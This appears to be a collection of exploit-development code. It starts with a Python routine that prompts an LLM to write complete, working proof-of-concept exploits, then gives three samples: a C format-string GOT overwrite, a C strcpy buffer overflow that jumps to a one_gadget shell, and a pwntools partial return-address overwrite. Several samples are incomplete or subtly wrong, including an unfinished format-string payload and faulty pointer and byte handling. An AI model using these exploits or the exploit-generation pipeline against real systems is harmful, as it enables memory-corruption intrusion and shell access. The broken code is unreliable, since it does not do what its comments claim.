Exploit PoC Generation

def generate_exploit(self, vuln: VulnerabilityContext) -> bool:
    """Generate proof-of-concept exploit."""
    
    if not vuln.exploitable:
        return False
        
    prompt = f"""
    You are Mark Dowd creating a proof-of-concept exploit.
    
    Vulnerability:
    - Type: {vuln.rule_id}
    - File: {vuln.file_path}:{vuln.start_line}
    
    Analysis:
    {json.dumps(vuln.analysis, indent=2)}
    
    Vulnerable Code:
    {vuln.full_code}
    
    Create a WORKING exploit that:
    1. Demonstrates this specific vulnerability
    2. Is safe for isolated lab testing
    3. Includes clear comments explaining the attack
    4. Has detailed output showing successful exploitation
    5. Prefer C++ for binary exploits, Python for web
    
    Write complete, executable code.
    """
    
    response = self.llm.generate(
        prompt=prompt,
        temperature=0.8  # Higher creativity
    )
    
    exploit_code = self._extract_code(response.content)
    # Save to file...

#include <stdio.h>
#include <stdint.h>
#include <string.h>

/*
 * Format String Exploit for vulnerable_server
 * 
 * Vulnerability: printf(user_input) with no format string
 * Target: Overwrite GOT entry for exit() with one_gadget
 * 
 * Constraints:
 * - Stack position of user_input: argv[1] is at 6th position
 * - GOT[exit]: 0x404028
 * - one_gadget offset: 0xe3b01 (from libc base)
 * 
 * Attack: Use %n to write address byte-by-byte
 */

int main(int argc, char **argv) {
    // Exploit payload construction
    char payload[512];
    
    // Target address: GOT[exit] = 0x404028
    uint64_t target = 0x404028;
    
    // Value to write: one_gadget = libc_base + 0xe3b01
    // Assume leaked libc base = 0x7ffff7a00000
    uint64_t one_gadget = 0x7ffff7ae3b01;
    
    // Build format string to write one_gadget to target
    // Using %hhn to write one byte at a time
    
    // Position of addresses on stack (after format string)
    int pos = 10;  // Adjust based on stack layout
    
    // Write each byte using %c to reach desired value
    sprintf(payload,
        "%%0x"  // Padding
        "%%%d$hhn"  // Write byte 0
        "%%%d$hhn"  // Write byte 1
        // ... continue for all 8 bytes
        , pos, pos+1);
    
    // Append target addresses
    memcpy(payload + strlen(payload), &target, 8);
    memcpy(payload + strlen(payload), &target + 1, 8);
    
    printf("[*] Exploit payload: %s\n", payload);
    printf("[*] Send this to vulnerable server\n");
    
    return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * Buffer Overflow with one_gadget
 * 
 * Vulnerability: strcpy with no bounds checking
 * Constraint: strcpy on x86_64 can only write 6 bytes (null terminates)
 * Solution: Use one_gadget (single address that spawns shell)
 * 
 * one_gadget candidates:
 * 0xe3b01 execve("/bin/sh", rsp+0x50, environ)
 * constraints: [rsp+0x50] == NULL
 * 
 * Attack: Overwrite return address with one_gadget
 */

int main() {
    // Leak libc base (assume obtained via separate info leak)
    void *libc_base = (void *)0x7ffff7a00000;
    
    // one_gadget offset from libc base
    void *one_gadget = libc_base + 0xe3b01;
    
    // Build payload: padding + one_gadget address
    char payload[128];
    memset(payload, 'A', 72);  // Fill buffer + saved RBP
    
    // Overwrite return address with one_gadget
    // Only write 6 bytes (strcpy stops at null byte)
    memcpy(payload + 72, &one_gadget, 6);
    payload[78] = '\0';  // Null terminate
    
    printf("[*] Payload: %p\n", one_gadget);
    printf("[*] Sending %d bytes\n", 78);
    
    // Send to vulnerable program...
    // execve("/vulnerable_program", ["./vulnerable_program"], env)
    
    return 0;
}

#!/usr/bin/env python3
"""
Partial Overwrite Exploit

Vulnerability: Off-by-one overflow in bounds check
Constraint: Can only overwrite 2 bytes of return address
Bypass: ASLR randomizes high bytes, low bytes are fixed

Target: main() at 0x555555554000 + offset
Goal: Redirect to win() at 0x555555554xyz (only xyz changes)

Attack: Overwrite low 2 bytes to jump to win()
"""

from pwn import *

# Settings
context.arch = 'amd64'
context.log_level = 'info'

# Addresses (low 12 bits are fixed, upper bits randomized by ASLR)
win_offset = 0x1337  # win() function offset from binary base

# Brute force if needed (ASLR has 2^12 = 4096 possibilities for 3 hex digits)
# But partial overwrite reduces this to 2^12 = reasonable brute force

def exploit():
    p = process('./vulnerable')
    
    # Leak stack canary if needed
    # ...
    
    # Build payload
    payload = b'A' * 72  # Padding to return address
    payload += p16(win_offset)  # Overwrite low 2 bytes only
    
    p.sendline(payload)
    
    try:
        p.interactive()
    except:
        p.close()
        return False
    
    return True

# Try exploit (may need multiple attempts if ASLR randomization unlucky)
for attempt in range(10):
    log.info(f"Attempt {attempt + 1}")
    if exploit():
        log.success("Exploit successful!")
        break
    time.sleep(0.1)